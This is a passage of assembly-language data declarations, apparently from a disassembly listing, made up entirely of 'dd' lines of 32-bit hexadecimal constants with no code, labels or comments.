		dd 3B59705Ch, 49A57409h, 2D687892h, 0F052182Ah,	0CDB35427h
		dd 2F7A600Ch, 35273F8Ch, 5D45862h, 0C4DD8D7Eh, 0BEF912D0h
		dd 0AC193040h, 97BB3D28h, 0A358985Bh, 0A8982EC9h, 0A1C0864h
		dd 8589041Ah, 49EEE86Ch, 7879E5B4h, 0F1C940C2h,	7FFC1350h
		dd 0EF51025Ch, 556B1655h, 46DF8CAh, 7B00BDE7h, 6FFBF1h
		dd 0CB8633Bh, 5797BF0Eh, 78CDB95Bh, 23C82F3Fh, 1696004Dh
		dd 0B320C9Bh, 84E3A24Ah, 7FF82F4Fh, 3A1E168Ch, 23084F40h
		dd 442BAE53h, 4682B702h, 0B7DFAFFCh, 0F6F4008Ch, 8D46D16Eh
		dd 49068A01h, 70523808h, 0FE58912Bh, 41D026Ah, 8584C8CEh
		dd 436C7195h, 52881A63h, 8100FFC8h, 84A20F90h, 19D6ABEh
		dd 0D4AE4F8Dh, 34B2E08Ah, 0F091E874h, 0DCF8DC27h, 0A665B900h
		dd 6840F23Ah, 0E2C65ABEh, 0EE4451B0h, 3CBD3924h, 0F8DFEA00h
		dd 0B06A80E1h, 0B7660E00h, 0ECCD327Ah, 0F4394CCFh, 7C1A4880h
		dd 9E240A5Dh, 8E05A2ABh, 0ACB16154h, 11A8CD6Ah,	6E01118Ch
		dd 6223B43Bh, 192BDC00h, 0EA2AB86Dh, 0FCCF4A4Eh, 0C684C124h
		dd 0E22A533Ch, 8AB9294h, 0E68404D0h, 64BC08F6h,	0C02B7DF2h
		dd 0F715ADA4h, 0C001069h, 456A83Ch, 0CC00B2ECh,	4C83BAC5h
		dd 906D7DAh, 0FAD1BE67h, 99E46CE5h, 1B108A60h, 0E10EA602h
		dd 0D7B47D73h, 853D00Bh, 5C589A70h, 8C02DC53h, 0A8D76CE3h
		dd 46D81CE0h, 883B9841h, 7C0FE3D4h, 0C0DE0CE1h,	0D3A7986h
		dd 0D0A70058h, 5422E97Ah, 6F584A0Eh, 0C2C80840h, 240B0190h
		dd 0C57CCA40h, 7C6F7E50h, 77883709h, 829018D5h,	345742Eh
		dd 0C96CBC2Ch, 0E6E59DBEh, 37EAF078h, 9902022Eh, 0D8168E46h
		dd 9E171C7Eh, 0DBC4F0FCh, 0B60BC42h, 0B5A88A8h,	7374D310h
		dd 104FE388h, 0E91E3304h, 6CE0C816h, 28739D36h,	23180BBh
		dd 9676DBB7h, 47897ACh,	1CC6497h, 0A3936E15h, 0F414C33Dh
		dd 407EDABDh, 0D93A6702h, 0D7D57B47h, 0B7813CA0h, 0B0195488h
		dd 9D481DD2h, 2576020h,	0C48C0CA2h, 0C0597B43h,	2A02EB00h
		dd 0B5A67399h, 99C3284Dh, 56979232h, 0C56A622Ch, 0B4DC98FFh
		dd 0C96977Bh, 53A8DB9Fh, 0B5B207A0h, 0F5340112h, 0D49B3857h
		dd 0A5C1D380h, 0BF053B43h, 3524F6E4h, 0B4B452AEh, 0D201C308h
		dd 1827BC1Ah, 702A354Dh, 5CBE45DCh, 0D800A7E0h,	0C584AB65h
		dd 0E6F398D2h, 2576EE3Ah, 0ECC297CFh, 11F41F57h, 25528075h
		dd 0FEB0379h, 89C28DD6h, 2E640276h, 0F084E520h,	8832AF37h
		dd 0DE6CF4E4h, 0E02483EEh, 0FECEC42Ah, 14AC3A52h, 197D909h
		dd 0D560C4D6h, 807A74D6h, 4095C413h, 78BB1040h,	0B7BD01h
		dd 0CCBCC713h, 9EBEFF82h, 3D4A8040h, 58172000h,	0A04FE696h
		dd 383A0B26h, 0F45E331Ch, 972AD180h, 0F72D371h,	193C865h
		dd 615B4586h, 0A4CC845Eh, 0D5F02876h, 0AE2B25A0h, 823FBC74h
		dd 5E8FDFC2h, 4C987581h, 0D18153C8h, 3168896Eh,	533F120h
		dd 889004EEh, 81B481AEh, 0AC339Bh, 9387200Dh, 0B79079h
		dd 63604C8Dh, 43975562h, 3098C3F1h, 61256AEDh, 98F235h
		dd 0EAA57CFEh, 0A471B4DDh, 89D77513h, 88E9ACD5h, 1C00EFACh
		dd 99D9B052h, 0A7B6303h, 54BE4ADBh, 0C6E482E0h,	96DD3BB8h
		dd 0BC739504h, 0A0202B51h, 0B9FE0032h, 0D0CC3810h, 620B4667h
		dd 1034B0D3h, 4B1F00h, 0ADB44594h, 405ABEA1h, 81768A00h
		dd 0C70B9A79h, 9B29252Dh, 0DBEB5479h, 0AB1E50A8h, 0C2319900h
		dd 0DD28DE97h, 0F4D213BFh, 0D429ABDCh, 0FF08537Eh, 0F000006Eh
		dd 0D1C7520Eh, 109D24EEh, 0FCE2AB64h, 5AEC0021h, 4B17BE37h
		dd 39038BDDh, 58DE2A32h, 8045C271h, 5D510A18h, 89B71EE3h
		dd 38C00A3h, 0CA316FF7h, 39E4C805h, 0F4E86B01h,	76337C39h
		dd 4DC0DB39h, 5D78458Dh, 0B0B8A14Eh, 0B1649B2h,	612D9E6Fh
		dd 0F272788Eh, 58AAC8A8h, 0C668196h, 80217828h,	0DE758818h
		dd 12019D49h, 50A8F2D3h, 0CD1311B0h, 0D488F610h, 0A0603E97h
		dd 408A459Ch, 0BA4F30BCh, 0BD1669C9h, 40BC2AE1h, 5529C3B2h
		dd 0B9001837h, 56C7A13Ch, 0B4F70129h, 2F48F8D8h, 7CCA2B55h
		dd 945C6225h, 74467Ch, 0B2290E4Dh, 2F85913Bh, 0DAE2D63Ah
		dd 72F4A97Fh, 70539D84h, 2CCE978h, 0E3984C1Eh, 0E6552E05h
		dd 0DE5309A4h, 37575D54h, 0CB599170h, 11448033h, 253888A5h
		dd 0FCC5706Eh, 91B415A5h, 5561803Ah, 5DE37B0h, 4D5F22C8h
		dd 0FCF8841Dh, 607A13C4h, 0CF9420EBh, 137A6422h, 0DFBA670Fh
		dd 0B77E028h, 4803116h,	0E7F0B4FAh, 30E8C9E5h, 0B30095A0h
		dd 1BD3D09Fh, 125E81D9h
		dd 0ED506B82h, 0B8819D1Ch, 6D78C943h, 5B0DCDCh,	71E20CE7h
		dd 0C03CED4Eh, 81FBD839h, 21B3009Eh, 29F93FD6h,	0D90187AFh
		dd 68DBB806h, 6CF44D79h, 44C4884Bh, 0E495F8ACh,	0A4800040h
		dd 0F51684BDh, 0F4F48A31h, 2C4A3C00h, 659DF92Bh, 585126C2h
		dd 7A273DD4h, 82D07CDBh, 232E6DAh, 9222F125h, 84747688h
		dd 0DE70FE4Bh, 6DEA4F11h, 5ED13h, 0A3288A07h, 670784E9h
		dd 0D6FA2B07h, 0D7E60612h, 0FBA4C493h, 83C0149Ah, 0F9EF3F48h
		dd 4E128CB8h, 0E8F3E60Fh, 800CF85Ah, 0ADE79237h, 0ED5400B2h
		dd 2A4B02E9h, 0FA4AD8DAh, 9778A0B0h, 0DC89DC9Bh, 10BC87Ah
		dd 91B417BFh, 0BE538095h, 5C2712EBh, 7A10ACDDh,	0F6622789h
		dd 5A331098h, 10E8E0h, 0A0046D11h, 491886D4h, 0DE90ECA3h
		dd 479DCBB2h, 605A649Ch, 0A49D5E86h, 8F2C99FCh,	288A95C2h
		dd 690703E2h, 0A4D07604h, 500FF8B6h, 20C9A779h,	8A2B4D3h
		dd 82A64A38h, 0F85ED944h, 2954D64Bh, 12E00BFCh,	3A9D98C4h
		dd 0ECCD5D54h, 0B3BFAA40h, 9D4625D1h, 0B4974C51h, 9CC0B0DAh
		dd 748758D6h, 2420DC01h, 80BED0DAh, 18087428h, 843C7176h
		dd 8B7CD49Ch, 44AC1DEAh, 0CA647201h, 2ED101D0h,	0A241D3A8h
		dd 2AD0CD6Bh, 0B881249Bh, 0C07F9401h, 420937C1h, 7BCA30E6h
		dd 9E3D90F0h, 0BC405F91h, 0A39C4B82h, 84097B98h, 0D23644DEh
		dd 0E67F4420h, 64AC222Ah, 7820F3B5h, 0E5E4A82Bh, 0C41B2A16h
		dd 5A3BB8C0h, 0B8F612E6h, 4AF4F751h, 0A8C210A8h, 0EC875B88h
		dd 0EAEE8412h, 6423B43Fh, 44C00B1Eh, 1CBBC420h,	0D4161887h
		dd 0DED38023h, 78B14FECh, 762B240Bh, 0F23542C0h, 0A24028DCh
		dd 3D280Fh, 0AC9A6C88h,	0BA5C14B0h, 384B00B8h, 0E04C44C2h
		dd 804E7000h, 124AD0D9h, 32AED084h, 617F8EF4h, 0DA004EFCh
		dd 0D8DD4D1Fh, 0F832E04Bh, 22780280h, 32F1CDEh,	9B50E490h
		dd 544A821Dh, 0B4BC2AC0h, 0DF4FE834h, 2736C1A0h, 30943793h
		dd 7C60F6D0h, 12E66278h, 9080DDADh, 0C8DB095Bh,	6EA479CAh
		dd 8410822Bh, 3871F564h, 0E0CE18C0h, 5B9DC149h,	653CC873h
		dd 0F8E4C07h, 80FE3A19h, 0E2384802h, 0D35C5BDCh, 0EDF04D80h
		dd 0A412234Bh, 98ADB3C1h, 73007CACh, 45DD3AACh,	0E0C4C31Ch
		dd 56984F9Eh, 653488F8h, 0F53549C1h, 7080AD33h,	0E2BBA53Ah
		dd 0C809C6A7h, 0D0FB1B9Bh, 64962094h, 340DD32Ch, 0F7DD0A09h
		dd 0DFD4E023h, 0C4B6B05Fh, 0DF0D23B0h, 31285C01h, 0B0B2F371h
		dd 0D22D6C78h, 98DFFC09h, 5B210EB8h, 0BC88EDB3h, 8C9A97B0h
		dd 125F688Bh, 0CC93D550h, 97FC1822h, 5EA4440Ah,	5E006346h
		dd 0DE23522Bh, 21124202h, 0D8A3CA40h, 387CE610h, 507225D3h
		dd 6A0209C4h, 3DD7A5DDh, 8B80BB0Ch, 2716C880h, 62CBA990h
		dd 314872DEh, 0CC1053C7h, 10C3006Dh, 0AD38272Ch, 6A0B3476h
		dd 203846DBh, 189B63CCh, 48B6D509h, 20F6847Ch, 35162B60h
		dd 2CAE695Bh, 1B4081A8h, 0B5463C9Dh, 0BCEB1892h, 6EEB930Ch
		dd 8F050000h, 58EAB987h, 0B0C05E2Ah, 9D2735A8h,	7AC44DDh
		dd 0DBED2B4Bh, 152DE267h, 4DDDDC80h, 0C800556Eh, 9D8B683Dh
		dd 9445E40Ch, 2D0F8044h, 0D864DF52h, 41309002h,	7FC1DC34h
		dd 7E66C010h, 22B2D604h, 99EBFEC2h, 6F9D0F4h, 0ABD39A42h
		dd 5FC7C432h, 5A11201Dh, 24D7DF89h, 68FC8CBCh, 0B864E94Ah
		dd 0DF710046h, 2B4053A1h, 283820FCh, 5F6D09D7h,	0ED6C989Dh
		dd 8A364B2Ch, 8462278h,	900ED179h, 20F3B045h, 8C0824Eh
		dd 0DC49FE00h, 9DBD3F3Fh, 9229D209h, 5310D45Ch,	585C822Dh
		dd 4A752D11h, 2008F1FFh, 0EC2D7692h, 4008F403h,	3C88D4EFh
		dd 26016C16h, 0C16A04E1h, 0C38ED564h, 0C8AE34CCh, 0FB07A0BCh
		dd 5243CD79h, 76572AA0h, 329E013Fh, 0C70BF9ECh,	2528C804h
		dd 792FC42Fh, 8468A5A8h, 548955BAh, 0FFF0CD10h,	0A0767924h
		dd 322170Bh, 745DCA20h,	619E8829h, 9ACCCD00h, 3D092EECh
		dd 0A1D602AAh, 0F0F6334Dh, 0EED8C475h, 3D808086h, 12D0F8B5h
		dd 0E461B142h, 808B0894h, 89716218h, 8ED31089h,	0FE494060h
		dd 0D44C3227h, 38656Ch,	7CB1EA48h, 4A00981Eh, 30B92304h
		dd 130B163Ch, 0FCAF6453h, 0CAB00A7Ch, 7B0028A6h, 182E02BFh
		dd 0BAD82FDAh, 8A092058h, 71515610h, 43C1429Ch,	0F5F9C707h
		dd 9D0200B7h, 0C13864F4h, 0C87ACA64h, 86122C1Ch, 0C0E67AD1h
		dd 193067A2h, 0B3140CBDh, 4E19CD40h, 5AC5DA14h,	0F5660B98h
		dd 133C72CCh, 0ACC479E2h, 76198B4Ch, 8B5ADC5Ch,	3A2078BCh
		dd 18DD732Fh, 1ECCD04h,	20832827h, 87B416E4h, 84F373E1h
		dd 0A8926084h, 88C775F1h, 77D8B701h, 9A3AB39Fh,	2B76C0BCh
		dd 0B5FE2D8Ah, 0E0848859h, 2B297C0Eh, 0B93C74h,	0AB7EC0A9h
		dd 1420E04Fh, 76A554D5h, 7C9B25A1h, 0E6044C5h, 4AFB5E17h
		dd 0F268A269h, 23A2303Ah, 2D2B8B0Bh, 5B4404A3h,	5FDA415Eh
		dd 0DCEB56DBh, 0DF00620Fh, 59E7007h, 0A3D58B2h,	6CF57EB1h
		dd 7CA389E4h, 0B351C05Ch, 0F0E62B0Dh, 64FACA0h,	0E4B0E697h
		dd 0C4B8A79Eh, 0CB7F604Bh, 690600C5h, 0FC3BF04Dh, 0E4A0ED3Ch
		dd 7BE8B7BCh, 8A2C501Eh, 6858D60Ch, 0D2C82ED9h,	0D0542750h
		dd 80C50C4h, 9898C381h,	69109495h, 375D2135h, 37A800E8h
		dd 3BCCC13Ch, 95B42F17h, 8A659008h, 818C0936h, 0DB81C4FFh
		dd 8EC643BBh, 0BD4951B0h, 0EE20D898h, 0CC8B007Dh, 436F5A14h
		dd 0C67F8C62h, 588E524Bh, 0CA92430h, 0A0B759E2h, 0EC867C8Ch
		dd 0DA28C074h, 5489B7B1h, 506BBB4Eh, 0E8305A00h, 2FD65144h
		dd 0D201C3E8h, 40A90A46h, 22EFC07h, 573A0C54h, 3E10C955h
		dd 3037F9ADh, 5C162D89h, 0A6150568h, 688EF06h, 4F743C8Eh
		dd 75BDF200h, 3A9AB52Ah, 0ED5A6E01h, 0BF0FA3DFh, 18338620h
		dd 3E209D85h, 0F930BD8Bh, 0BB900C2Dh, 79071C43h, 0EBCA7B50h
		dd 0BC02D16Bh, 13860F21h, 47C85729h, 1900DE37h,	73667051h
		dd 1A81A85Ch, 6C1180DCh, 704EF357h, 0D900AC23h,	8B0CF86Ah
		dd 0D414819Dh, 213346DBh, 46E8680Ch, 34FE2D39h,	4574240Eh
		dd 0BD2BE126h, 2483113Dh, 0B3595FFh, 85E83D50h,	0A9B6A31Fh
		dd 8D4E5798h, 815B8016h, 0EA29E300h, 9AE96A44h,	4690DE01h
		dd 430F1D8Dh, 3F9B8536h, 0A91334Ah, 1883C718h, 0B58BC10Dh
		dd 0BD2B249Fh, 22B8D7h,	6A323DFBh, 8B665503h, 0D97A8CF1h
		dd 3AB76E2Eh, 0FA4A892Fh, 0C200716Bh, 0F0BEF7Bh, 890AAF01h
		dd 6F2BB19Dh, 7715DD09h, 35E0A86Dh, 40E0A8h, 71522E0Ah
		dd 446890Fh, 0D61DF495h, 0D5656400h, 98D3187h, 6698C029h
		dd 50604ABBh, 9014BFEAh, 5FE8908h, 0B5FF5B51h, 3AFECF57h
		dd 1823F8h, 0BB63BDA8h,	9D2A03F7h, 6800B849h, 8C9AE3C8h
		dd 2A0CBFh, 48136E4h, 84203724h, 0B5897304h, 0BE891C15h
		dd 8D021FD9h, 54973746h, 0BF0AD675h, 82C70BA7h,	9D108h
		dd 26BB5190h, 492EA90Eh, 0FE1E975Bh, 0CEB575E5h, 335200B9h
		dd 18919613h, 0B6CF3184h, 70789C4h, 1C4DC94Eh, 56F80FA7h
		dd 0D5498960h, 61EE212Eh, 0EB775F2Eh, 0D10A5B6Eh, 1F24CADh
		dd 85C77911h, 246FA0E9h, 0FD950915h, 0BD8314CCh, 0F099CAFh
		dd 57229284h, 8101A5F2h, 0D1122646h, 23F1F065h,	800F1986h
		dd 8A030D02h, 0C3050D9h, 9A448311h, 0C743FD01h,	28CF0ED6h
		dd 5803C04Ch, 0D04E983h, 36EBE775h, 6404DE36h, 3316EE39h
		dd 2829501Bh, 58182140h, 570113CDh, 57C21B09h, 5878CDFBh
		dd 9D877A0Fh, 54C1FA54h
		dd 0CCC465B4h, 2F3300AEh, 0EC99B16Dh, 74514976h, 0FBF0CAFh
		dd 79C88534h, 0B06CB6BAh, 948569h, 7A1580C0h, 0BB37D2D6h
		dd 4E4CC0Ah, 9158E664h,	7569703h, 7A022EDEh, 0A95F2564h
		dd 310F084Ah, 7B237F25h, 64B06B11h, 4A006E2Ah, 5DCBC704h
		dd 95769CFh, 30E161A2h,	0C1D7B02h, 4B97B523h, 336EFE46h
		dd 7FB5B100h, 6739D1DEh, 6C74D16h, 8204351Ah, 92CA5BCh
		dd 10BB7101h, 0E2AF1438h, 1FFD003Fh, 580E554Dh,	379E0472h
		dd 0ABC2AECDh, 4E30E7A1h, 5FDEA93Dh, 80191175h,	1D858C01h
		dd 8620BB00h, 0E8142933h, 0EE17ACD1h, 7B526320h, 46E107DFh
		dd 70C77486h, 608E0F72h, 21CF8102h, 9413AAEAh, 5FF6958Ch
		dd 0A74A027Eh, 4D3C1A6Ch, 8B818486h, 0D8408098h, 0F074069h
		dd 3D018332h, 0C361C2F5h, 0C6DEEF02h, 1E1BC486h, 0B0880F60h
		dd 0DD958B0Fh, 8DE21B54h, 0C192533h, 0AD1A3D61h, 83BF6DE1h
		dd 4C2C853h, 80CFD697h,	7BB25E8Ch, 7D06447Fh, 0B4887ECEh
		dd 6AF94C9Ah, 0C220501Dh, 0F21FEF81h, 0FE40D9CAh, 0F80CA6Bh
		dd 3059A48Ah, 800FB886h, 99A26BF3h, 0FBE0E76Dh,	12C90FE3h
		dd 0BA518A3Ch, 33806997h, 0AC6DE5D5h, 0AD5150FCh, 300F4129h
		dd 6D629599h, 4A50F8FDh, 847B5735h, 7FC5FC58h, 0E00F00D2h
		dd 2AF78161h, 73553633h, 4ABD2B41h, 0B579E8B9h,	0CEAA3704h
		dd 949273ADh, 2E4AC414h, 0F65B0A15h, 61D2D000h,	3EFEAEF1h
		dd 908A49C0h, 4333192Ch, 22B42B29h, 100D1126h, 0C32B57h
		dd 2942A032h, 5CDD6FD4h, 0E3275224h, 0A8073388h, 29C92057h
		dd 56970976h, 719223A4h, 95A1817h, 605C72D6h, 0A9B54975h
		dd 0E5A8DCh, 7E04E382h,	0EBE97E6h, 701A0A0h, 0A1416181h
		dd 444A1D55h, 653FBB4Ah, 0D509D33Eh, 890E71BBh,	62E64FE6h
		dd 582AD920h, 178745E8h, 0D586B0E0h, 0DEE2F1DAh, 84931301h
		dd 0AD8CCBD8h, 5F96C9F8h, 8020F83Fh, 4A58A98h, 0E2E502C8h
		dd 5F855C3Eh, 2CF5D182h, 41080204h, 343B1BA4h, 0E6AF1A18h
		dd 94CAB0C5h, 1BEB4C9Fh, 0B70FDF02h, 815BC6FEh,	63017B16h
		dd 81F2442Eh, 0B9AD5FCh, 0AF5AA0DAh, 0E8D16287h, 7AFE4A38h
		dd 60490034h, 27BAA708h, 81B7266Fh, 6CFC0057h, 0FFF4A3E9h
		dd 0B8EE2DE3h, 8BA316BBh, 143130C1h, 2500C0DFh,	0BB136690h
		dd 7CEC8C7h, 0D5A3B0E3h, 685FB955h, 8B49C6h, 8452F3A6h
		dd 0E6578DB9h, 5F4E6E2Ch, 5B5FC684h, 506EB2BAh,	2940A5AEh
		dd 42D39850h, 0BEF4A87h, 5A855AD7h, 464128Bh, 0BE61D3A9h
		dd 0DA7937B4h, 0AA84F24Fh, 4A5CB231h, 3000BB6Eh, 5E189BE2h
		dd 0BF06E8A6h, 1B4FB963h, 0AC7E16BCh, 953005AAh, 832390CDh
		dd 0B9A705C0h, 0D2601644h, 901E7B51h, 7B28FA8Ah, 80597E95h
		dd 0AC8B9F74h, 0A4002CA1h, 45100337h, 36FD1BCh,	30E07850h
		dd 5388BB34h, 5F50723Eh, 56959099h, 0CF07D607h,	0D676039Dh
		dd 11AFD80h, 122120B5h,	0B1BD330Ah, 8949AE10h, 0AFC57FBEh
		dd 7089243Eh, 0C5774DC9h, 0BE9FC00Fh, 75E092BFh, 24AB164Bh
		dd 11FC0440h, 3F8D0E33h, 5DA99489h, 5DC9D56Dh, 93ABDEE0h
		dd 0DFCEFC2Ch, 958E4302h, 0E35D6042h, 0FFD9131Fh, 91A830D1h
		dd 4000906Fh, 5BB2FEDAh, 4C4AAFE3h, 5110418Bh, 0DFF85F14h
		dd 897D4822h, 12777149h, 7F04026Ah, 90001CA1h, 0C4F2BB50h
		dd 8721553Bh, 2FC58529h, 0CD64D6EFh, 0B0A0E6BEh, 1923362Eh
		dd 7429114Dh, 0F4E90007h, 7C56970Eh, 80AC8850h,	0FF11BF0Fh
		dd 850109E9h, 0C9D53FC1h, 6B26D4FAh, 4A288990h,	0F3BFBE86h
		dd 0DA4D709Bh, 0E7FB948h, 5EF78B60h, 5F506109h,	0B8590768h
		dd 80843A3Dh, 0C41DC173h, 4A940D5h, 0D375E4Bh, 0F806D0E4h
		dd 3551FF64h, 25E2DF66h, 4E40788h, 0BA5258F7h, 13672CE1h
		dd 0FCBC9B0h, 90E1C100h, 89B64522h, 0C81208Dh, 0B53285ECh
		dd 0C0FF612Ah, 162BDA15h, 211E35BDh, 0DA2DCDADh, 0F001073Dh
		dd 39040978h, 111192FAh, 5042E902h, 0DD30A030h,	87969E25h
		dd 9B0055Fh, 7E0BC675h,	7CB80651h, 0BC615B63h, 0E680D97Bh
		dd 8D313D70h, 0E412085Dh, 0C1BC0471h, 0C4E2AF01h, 0B5440A3Ch
		dd 0B6882BFAh, 0E2A6C8h, 371DF288h, 0AA2C3F02h,	91C55503h
		dd 993D0CADh, 0F92BB7A0h, 5E828C8h, 4EF26B05h, 0FD98E696h
		dd 54A60352h, 9ED355F0h, 5F3BA8B0h, 19E1BAC4h, 80610213h
		dd 0F0757AF7h, 0E2EC9Fh, 0F9ACD781h, 0C82B5459h, 11B58915h
		dd 0EE8B249Bh, 0BB001011h, 0B2AE3DBFh, 0BE90A2ABh, 0F032F301h
		dd 55D9A1C3h, 0A98DCF20h, 1E3DE983h, 45F5017h, 1829AD33h
		dd 0B12C7126h, 0C6071211h, 0D9E10CBFh, 86492C8Eh, 2851D59Dh
		dd 6EABD03Bh, 0EADF1D22h, 0EFC19014h, 0DF680705h, 49E96224h
		dd 532524A5h, 0D15006ECh, 8D12DF18h, 88AB0A79h,	2E45842Bh
		dd 73D74A80h, 0BD096027h, 564D949h, 0A58361FCh,	82FE1D09h
		dd 882D9561h, 0B3007530h, 0A2DB81E6h, 7B3A1BEBh, 8D805BE9h
		dd 1E1207B5h, 0DAEF06AAh, 958DC1BCh, 0AAC54076h, 69C76320h
		dd 0ED7F4A4Fh, 0CA6062E9h, 518F535Dh, 14B51817h, 82A797D5h
		dd 91EC510h, 5F0865B9h,	0F6E088EDh, 0F18A97Fh, 0DDF9AD2Ch
		dd 0C8AEBF00h, 0DAA1355Eh, 0BFED2BFCh, 0FE01A4ACh, 0DA024854h
		dd 0F74085B8h, 30A6DDBh, 3CA2BBFCh, 0AAEC75EAh,	0E7B07EE7h
		dd 5CCE6F87h, 47009CFh,	2B44B955h, 55E6EED2h, 0ECCDFDB0h
		dd 16CA4A04h, 8699F88Bh, 13FDBE01h, 0C233AD00h,	0D060D165h
		dd 95F496A4h, 0D6A774h,	697C6595h, 59132C76h, 2220555Bh
		dd 41BA56Bh, 382D0F67h,	30EAC223h, 25208FE4h, 0FF0D4A32h
		dd 0A6EB617h, 14BEFD05h, 0C9A80260h, 0BD40A201h, 549E0765h
		dd 0DB7B5552h, 54EC458h, 80965D70h, 818FA0E7h, 17202B41h
		dd 9304760Dh, 0C8AAD0DAh, 0E4415B0Fh, 8E0D164Dh, 71EE51C5h
		dd 0A1E95h, 0F0B9F112h,	0BB00CCC0h, 5C94B12Eh, 0E4C28B50h
		dd 0C1033718h, 0F0958E08h, 0D2581965h, 0F3752F65h, 71557AB0h
		dd 0A05D27A8h, 0B85B713Fh, 5CA0F2DCh, 9C18E793h, 0FDD0855h
		dd 314EFD9Ch, 0FE4BB838h, 6800BE7Ah, 78C43AF8h,	8D71ABB7h
		dd 6BA74FF6h, 6C601A44h, 98093703h, 77E67CACh, 294CA5E4h
		dd 13914DC7h, 0DAAFE1FFh, 6CFAC0FEh, 126DCFFh, 63BFCDD8h
		dd 786794ABh, 1391D112h, 0DBAF0474h, 0F0FBC0B9h, 48D7A92h
		dd 0F1BF661Ah, 45A299h,	4D590CAh, 0F3A478h, 0EF8176E8h
		dd 117D7269h, 14046A4h,	74848A49h, 6DDBB12Dh, 1A86CE6Bh
		dd 0DED46027h, 1FC9760h, 27EE00D6h, 0DB4E7183h,	3138DD8Ch
		dd 0D52AA59Dh, 4D57E3A9h, 0D2B06066h, 0EC169401h, 69CDCEE3h
		dd 4FAD0F20h, 83AA6015h, 49000C19h, 9DC34CB2h, 918C6Fh
		dd 703FC36h, 0EA4658Dh,	5E01395Bh, 4E1805Fh, 8FE92Ah, 280FBCFBh
		dd 14150E88h, 0A6C90A58h, 0EB013712h, 0FAC29CDBh, 59200AE9h
		dd 2FC8427h, 0D0C6C249h, 0EC4B52F8h, 0B543AC9Ch, 0AFB117A6h
		dd 9D402AE5h, 783ABB18h, 8D214B5Bh, 8BB52092h, 4B8C34Ch
		dd 61837DE1h, 58FB42C2h, 88E94B2Dh, 580F4276h, 0A038A536h
		dd 0CE95153Dh, 8EEA3A26h, 432F10FFh, 0B5890C21h, 7768BD71h
		dd 357F274Eh, 0F1799691h, 4FB0E847h, 19E7401h, 0F788CA8h
		dd 382952CEh, 80CB5B53h, 60B6B169h, 6BEB354Bh, 45540E79h
		dd 6D1722BFh, 69DE5411h, 0A5815B37h, 9FB70972h,	0F4A3362Eh
		dd 0E902D2F1h, 73144AC7h, 0BEE87045h, 354A5902h, 5CED0968h
		dd 0DC5A48B8h
		dd 902B5600h, 0BD01B60Ch, 9D314B49h, 0E00776D8h, 1218098Dh
		dd 0E3EEB78Ch, 9D890AF9h, 0D1A8B355h, 951DE920h, 3C8EE09Ah
		dd 0CB589AD4h, 711A340Eh, 0BE7C2452h, 0AF07DA6h, 3E01478Fh
		dd 6005D4EFh, 63731634h, 0DC571300h, 50AEAB1Eh,	2BBDDBA0h
		dd 446A9C5h, 14E5DFC1h,	9F10805h, 46F76B80h, 280C1CCh
		dd 8B9FA94Ch, 4B545BFAh, 9DEC2EE0h, 7F360312h, 0FC6C31E9h
		dd 6757D4F0h, 48784B7Eh, 68D23197h, 14810EC8h, 2308E89Eh
		dd 91011900h, 3D7FEAD1h, 0B36DFBh, 8B7871A5h, 4BC507h
		dd 0D774168Ah, 50A46055h, 0D05F5B25h, 0F924047Ah, 0A6619DF5h
		dd 96B3E040h, 6E8B0171h, 0BD9D03D9h, 0E62D2E14h, 0DFA8717Dh
		dd 0BF53E31Dh, 8A5181C0h, 27315FF8h, 68409D8Dh,	29F70F90h
		dd 40BE4B0Bh, 0C5324659h, 70058D48h, 0F4D07202h, 5F3B95B3h
		dd 34B79089h, 7828D073h, 0B3611A40h, 1A2378C8h,	6586E90Ah
		dd 269086EFh, 4BCDCB4Ah, 4B8A6BBFh, 598240BAh, 9ACE812Ah
		dd 70061497h, 0CF569D2Eh, 16700DEh, 0FE3558D7h,	0E9273B7Bh
		dd 699E1021h, 15C822Ch,	9D23C075h, 0F1A40D79h, 4A9B3559h
		dd 0B3C3A6Eh, 81F69172h, 3FB88CBh, 3392F434h, 0C381D300h
		dd 2278BF0Ch, 2C6A15Fh,	2FF88B11h, 418F1228h, 60253B04h
		dd 9D9E5100h, 0E20A1Ch,	5BD465BDh, 21681DFDh, 0A9C2C650h
		dd 0A55F1B40h, 46689FEh, 0E0E46D7Fh, 97FE3946h,	12450604h
		dd 71A8F64Eh, 0C0139E4Eh, 0D8ADA52Dh, 0D9897FAh, 0FD25BB66h
		dd 9785C617h, 28D66B76h, 9FF4F9B8h, 0C4A50356h,	87379711h
		dd 5433305h, 293D4881h,	43C29602h, 0CC93FF2h, 442889F9h
		dd 0EC4E0FD5h, 0BC001FBDh, 4169AD9h, 0F7508376h, 0F69796E9h
		dd 2625D643h, 81509831h, 489CA0CFh, 0FE4AB019h,	44BA9507h
		dd 13C44C5Ch, 1F309140h, 717EA446h, 0FCE5F978h,	0BE02F2FBh
		dd 0C8B30BA3h, 0EB8130CAh, 325DF79h, 928E621h, 0F8BF0F56h
		dd 20722489h, 0DC00D69Dh, 0D1075700h, 7F933C80h, 0BF52046Ch
		dd 0E258A927h, 90A693E1h, 8C5A97A0h, 0F1BD0913h, 55E1ED52h
		dd 71B8797Dh, 5FA19107h, 5135F539h, 1D655EC1h, 6B78B907h
		dd 254B95F4h, 69E36412h, 1DE26042h, 1C119130h, 82B00397h
		dd 626023DBh, 18B6A59h,	5C8FEAB5h, 0A93D2793h, 2AD9269Fh
		dd 2826F83Ch, 0AFBAFC2Fh, 0F85ED957h, 0E7B6503Fh, 69B50960h
		dd 0BC5F812Bh, 87D9C5D4h, 0B7C42E47h, 8A60BA80h, 0FB8B17D8h
		dd 0A6A45261h, 2716E0DDh, 2D8D1289h, 609B282Ch,	206C5148h
		dd 0C1BD2ECFh, 99734906h, 4D4ABAEh, 8FFA97C2h, 1630A2B7h
		dd 92D06731h, 73EEBF93h, 1570414h, 0BC2BCD9Dh, 4E72E3A6h
		dd 0F36BFB3Fh, 0E79EA201h, 6489BD33h, 0F259621h, 0A0B8F78Dh
		dd 6B00BAE3h, 6F31ACDh,	2D381A9h, 5BA6DF0Ah, 35739650h
		dd 1DBD2070h, 8AF8C7ABh, 12B8DDE9h, 29CCBFFEh, 0D75299Dh
		dd 820F42CFh, 0B2229D93h, 0CDFC4B01h, 0C8E92EC7h, 0DB833ACh
		dd 925E120h, 1E458D31h,	6D6BEF79h, 7B3A402Dh, 9B3C8627h
		dd 1045AD7Ch, 3E64C4A2h, 4FB75B4h, 0B15967D5h, 0D2FDBC2Dh
		dd 90E2D4A6h, 2544D277h, 20E16A98h, 0FDB80418h,	66253FA2h
		dd 0F4E05DC1h, 0BE02373Ah, 0BDC6DAE4h, 76DE8C3h, 15D8DE14h
